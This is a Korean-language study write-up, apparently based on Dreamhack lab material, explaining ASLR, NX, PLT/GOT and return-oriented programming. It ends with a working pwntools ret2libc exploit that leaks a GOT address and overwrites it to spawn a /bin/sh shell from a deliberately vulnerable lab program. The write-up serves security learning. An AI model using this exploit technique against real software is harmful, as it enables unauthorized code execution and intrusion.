Dreamhack에서 제공하는 예제 코드로 진행했다.
https://learn.dreamhack.io/3#15
Address Space Layout Randomization(ASLR)
은 stack
, heap
, library
가 매핑되는 가상 주소를 프로그램 실행될 때마다 바꾸어 정해진 주소로 공격하는 것으로부터 보호하는 기법이다.
/proc/sys/kernel/randomize_va_space
에서 ASLR의 설정 값을 확인할 수 있는데, 설정되는 값은 3가지로 0(ASLR off), 1(stack, heap memory randomize), 2(stack, heap, library memory randomize)가 있다.
//gcc addr.c -o addr -ldl -no-pie -fno-PIE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
static int data;
int main(){
char buf_stack[0x10];
char *buf_heap = (char *)malloc(0x10);
printf("data addr: %p\n", &data);
printf("buf_stack addr: %p\n", buf_stack);
printf("buf_heap addr: %p\n", buf_heap);
printf("libc_basc addr: %p\n", *(void**)dlopen("libc.so.6", RTLD_LAZY));
printf("printf addr: %p\n", dlsym(dlopen("libc.so.6", RTLD_LAZY), "printf"));
printf("main addr: %p\n", main);
}
위 코드는 전역 변수(data), 지역 변수(stack), 동적할당 변수(heap), library 매핑 위치(library), printf() 엔트리(library), main() 엔트리(code) 주소를 출력한다.
실행 결과에서 data와 code의 주소는 바뀌지 않지만 stack, heap, library의 주소가 바뀌는 것을 확인할 수 있다.
만약 return address overwrite
가 가능하고 그 주소를 buffer로 덮어쓰게 된다면, 함수에서 return 시 buffer의 내용을 실행하게 된다. 이때 버퍼에 shellcode를 주입하였다면 해당 shellcode를 실행할 수 있게 되는데, 이를 막기 위해서는 buffer가 저장된 영역의 실행 권한을 부여하지 말아야 한다. No-eXecute(NX)
는 code 영역과 같이 수행되는 코드가 있는 영역에만 실행 권한을 부여하고, 이 외의 영역에서 실행되는 것을 막는 보호 기법이다.
Procedure Linkage Table(PLT)
는 동적 링크 시 외부 라이브러리 함수의 주소를 알아내고(resolve) 해당 함수로 jump하는 테이블이다. 그리고 Global Offset Table(GOT)
는 PLT에서 파악한 라이브러리 함수의 주소를 저장하는 테이블로, PLT에서 참조한다.
참고로 PLT와 GOT는 각각 code
, data
영역에 존재하므로 ASLR
이 적용되어도 각각의 위치는 변하지 않는다.
위 코드가 main()인 프로그램을 예로 들겠다. 해당 코드는 main+9
, main+19
에서 puts()
를 호출하는데, 바로 puts()의 시작 주소로 가는 것이 아니라 puts@plt
로 이동한다.
먼저 첫 번째 호출에서는 puts()
를 실행하기 위해 puts@plt
를 호출한다.
puts@plt
에서는 puts()의 got
테이블에 저장된 주소로 jump한다.
그러나 puts()의 엔트리 주소를 resolve하기 전이므로 GOT에는 put()의 시작 주소가 아닌 puts@plt+6
의 주소가 저장된다.
따라서 puts@plt+6
으로 jump한다.
이후 puts@plt에서 _dl_runtime_resolve_xsavec()
가 호출된다. 이때 아직 GOT에는 puts()의 resolve된 주소가 저장되어 있지 않다.
_dl_runtime_resolve_xsavec()
에서 puts()
의 주소를 resolve했다면 해당 함수 이후 바로 puts()
로 이동한다. 또한 GOT에 puts()의 resolve된 주소가 저장된다.
이번에는 두 번째 호출을 보겠다. 첫 번째 호출과 마찬가지로 puts@plt
를 호출한다.
puts@plt
의 첫 번째 명령은 [rip+0x200c12]
로 jump하는 것이다. 해당 명령(0x400400)을 실행할 때 rip의 값은 0x400406이므로, 결국 [0x400406+0x200c12]
로 jump하는 것인데, 이 메모리 주소는 put의 GOT의 위치를 나타낸다. 따라서 GOT에 저장된 puts의 resolve된 주소(0x7ffff7c80ed0)로 jmp하는 것이므로 puts@plt
에서 바로 puts()
로 jump한다.
Return Oriented Programming(ROP)
는 gadget
이라 하는 일부 코드 조각들을 모아 return을 이용해 이들을 chaining하는 방법이다.
0x8048380:
pop eax
ret
0x8048480:
xchg ebp, ecx
ret
0x8048580:
mov ecx, eax
ret
위와 같은 코드가 있고 현재 stack의 상황에서 return하고자 하는 주소가 0x8048380일 경우를 가정한다. 그러면 return 이후 0x8048380이 실행되므로 pop eax
가 실행된다.
따라서 pop 명령 시 esp가 가리키고 있는 0x41414141이 eax에 저장되고, esp는 0x8048580을 가리키게 된다.
그리고 pop eax 다음 명령인 ret
가 실행되며 0x8048580에 위치한 코드가 실행된다. 이러한 방식으로 return이 각각의 gadget을 연결할 수 있도록 하므로 Return Oriented Programming
이라 한다. ROP를 이용하면 NX나 ASLR로 인해 buffer에 직접 shellcode를 주입하거나 실행하기 어려울 때에도 원하는 gadget들을 모아 실행 가능한 공격 코드를 구성할 수 있다.
//rop_x86.c
#include <stdio.h>
int main(void){
char buf[32] = {};
puts("Hello World!");
puts("Hello ASLR!");
scanf("%s", buf);
return 0;
}
공격 타겟 코드는 위와 같이 32bit 프로그램이다. canary
는 적용되지 않았으므로 우회할 필요가 없다.
해당 프로그램에서 scanf()가 사용되었으므로 stack buffer overflow
를 통해 return address를 조작할 수 있다.
최종적으로 system(/bin/sh)
를 호출할 것인데, 이 함수가 라이브러리에서 매핑된 위치는 동일 라이브러리에 있는 다른 함수(puts(), scanf())의 위치를 파악하면 알 수 있다. 이는 라이브러리가 매번 랜덤한 가상 메모리 위치에 매핑되더라도 라이브러리 내에 있는 각 함수들의 offset은 동일하기 때문에 가능한 것이다.
해당 프로그램은 /usr/lib/i386-linux-gnu/libc.so.6
라이브러리를 사용한다.
해당 라이브러리에서 puts(), system()의 offset은 각각 0x73260, 0x48150이다. 따라서 라이브러리 함수의 GOT에 있는 resolve된 주소를 알면 라이브러리의 매핑 시작 주소를 파악할 수 있고, 이와 offset을 이용하여 원하는 함수의 실제 매핑 위치도 파악할 수 있다.
이 과정으로 system()의 매핑 주소를 파악하고, puts나 scanf의 GOT에 system()의 시작 주소를 저장한 후 puts/scanf을 호출하면 된다.
그럼 scanf()의 실제 매핑 위치는 어떻게 되는가? 프로그램에서 호출하는 scanf()의 정확한 symbol은 __isoc99_scanf()
이다.
__iosc99_scanf()
는puts()
,system()
과 달리readelf -s
을 읽을 수가 없다(원인을 모르겠다). 따라서pwndbg
에서 scanf와 라이브러리의 실제 매핑 위치를 확인하여 offset을 알아볼 것이다.
scanf 호출 이후에는 GOT에 resolve된 주소가 저장되므로, 이를 통해 함수의 실제 매핑 위치를 파악할 수 있다. 라이브러리의 매핑 시작 주소는 0xf7c00000이고 __isoc99_scanf()의 매핑 시작 주소는 0xf7c58c30이므로, offset은 0xf7c58c30-0xf7c00000=0x00058c30이 된다.
objdump로 확인하면 0x00058c30이 __isoc99_scanf()의 offset임을 확인할 수 있다.
Return Address Overwrite
로 return address를 puts@plt
로 바꾸어 이 함수로 이동할 수 있도록 한다. 이때 인자로는 GOT['__isoc99_scanf']
로 설정하여 GOT에 저장된 scanf()의 매핑된 주소를 읽을 수 있도록 한다.__isoc99_scanf
의 실제 매핑 위치를 이용하여 system
함수의 실제 매핑 위치를 구한다.puts
이후 __isoc99_scanf@plt
로 이동할 수 있도록 한다. 인자는 이미 존재하는 문자열 "%s"
의 주소 값과 GOT[__isoc99_scanf]
로 전달하여 GOT[__isoc99_scanf]에 system의 실제 매핑 주소를 저장한다. 이때 GOT[__isoc99_scanf] 이후 문자열 "/bin/sh"
도 저장한다. 이 문자열의 위치는 GOT[__isoc99_scanf] + 0x04
가 된다.왜 system()의 매핑 주소를 GOT[puts]이 아닌 GOT[__isoc99_scanf]에 저장하는가?
%s는 공백, 줄바꿈을 읽지 못한다. 그런데 puts@plt의 주소에 0x20(공백)이 포함되어 있으므로 그 다음 명령인
put@plt+6
을 return address로 덮을 것이다. 즉puts@plt+0
의 명령을 실행하지 못하는데, 이곳에 위치한 명령은GOT[puts]
에 저장된 주소로 jump하는 명령이다. 따라서 GOT[puts]에 system의 시작 주소를 저장하더라도 GOT[puts]에 저장된 주소를 참조하여 jump하지 않게 되므로, 대신GOT[__isoc99_scanf]
에 system의 매핑 주소를 저장한다.
__isoc99_scanf@plt
를 호출한다. 여기서GOT[__isoc99_scanf]
에는 system
함수의 실제 매핑 위치를 저장하고 있으므로 이 함수를 호출할 것이다. 이때 인자로 "/bin/sh"
문자열의 메모리 주소인 GOT[__isoc99_scanf] + 0x04
를 전달한다.x86 기반 프로그램을 공격하는 payload를 구성하기 위해서는 x86 Calling Convention
을 가볍게 이해할 필요가 있다. 이 프로그램에서 적용된 호출 규약은 cdecl
이므로 이것만 짚고 넘어가겠다.
cdecl에서는 인자를 stack으로 넘긴다. 인자는 반대 순서로 전달되는데, 위 예시에서는 세 번째 인자가 먼저 stack에 push되고, 첫 번째 인자는 마지막으로 push된다.
그리고 call callee
명령이 실행되면 push eip
, jmp callee
가 동작하여, 호출 직후에는 stack이 아래와 같이 구성된다.
stack의 top(esp)에는 return address backup되어 있고 그 다음으로 인자가 저장된다. 이 부분을 이용하여 payload를 구성할 것이다.
payload는 stack이 다음 그림과 같이 될 수 있도록 구성한다.
"%s" 문자열의 위치(0x8048559)는 다음 방법으로 알아낼 수 있다.
사용할 gadget은 pop ebp; ret
(0x0804851b), pop edi; pop ebp; ret
(0x0804851a)이다.
왜
pop ebx; ret
(0x0804830d)가 아닌pop ebp; ret
(0x0804851b)를 사용했는가?
pop ebx; ret
의 주소 0x0804830d에서 0x0d는 %s format string으로 읽지 못한다. 따라서 해당 주소 값을 payload에 사용할 수 없으므로 대신에pop eb;ret
을 사용한 것이다.
from pwn import *
p = process('./rop_x86')
#ELF info
e = ELF('./rop_x86')
libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6')
##plt, got
puts_plt = e.plt['puts'] + 0x06
scanf_plt = e.plt['__isoc99_scanf']
scanf_got = e.got['__isoc99_scanf']
#gadgets, string
pop_ebx = 0x0804851b
pop_edi_ebp = 0x0804851a
ret = 0x080482f6 #stack alignment for system()
format_s = 0x08048559
#payload injection
payload = b'A'*0x24 + p32(puts_plt) + p32(pop_ebx) + p32(scanf_got)
payload += p32(scanf_plt) + p32(pop_edi_ebp) + p32(format_s) + p32(scanf_got)
payload += p32(scanf_plt) + b'D'*0x04 + p32(scanf_got + 0x04)
p.sendline(payload)
#got[scanf] leak
p.recvuntil(b'ASLR!\n')
scanf_addr = u32(p.recv(4))
#find address of system()
system_addr = scanf_addr - libc.symbols['__isoc99_scanf'] + libc.symbols['system']
#overwrite got[scanf] to system() address
binsh = b"/bin//sh"
p.sendline(p32(system_addr) + binsh + b'\x00')
p.interactive()
Exploit이 성공적으로 수행되었다.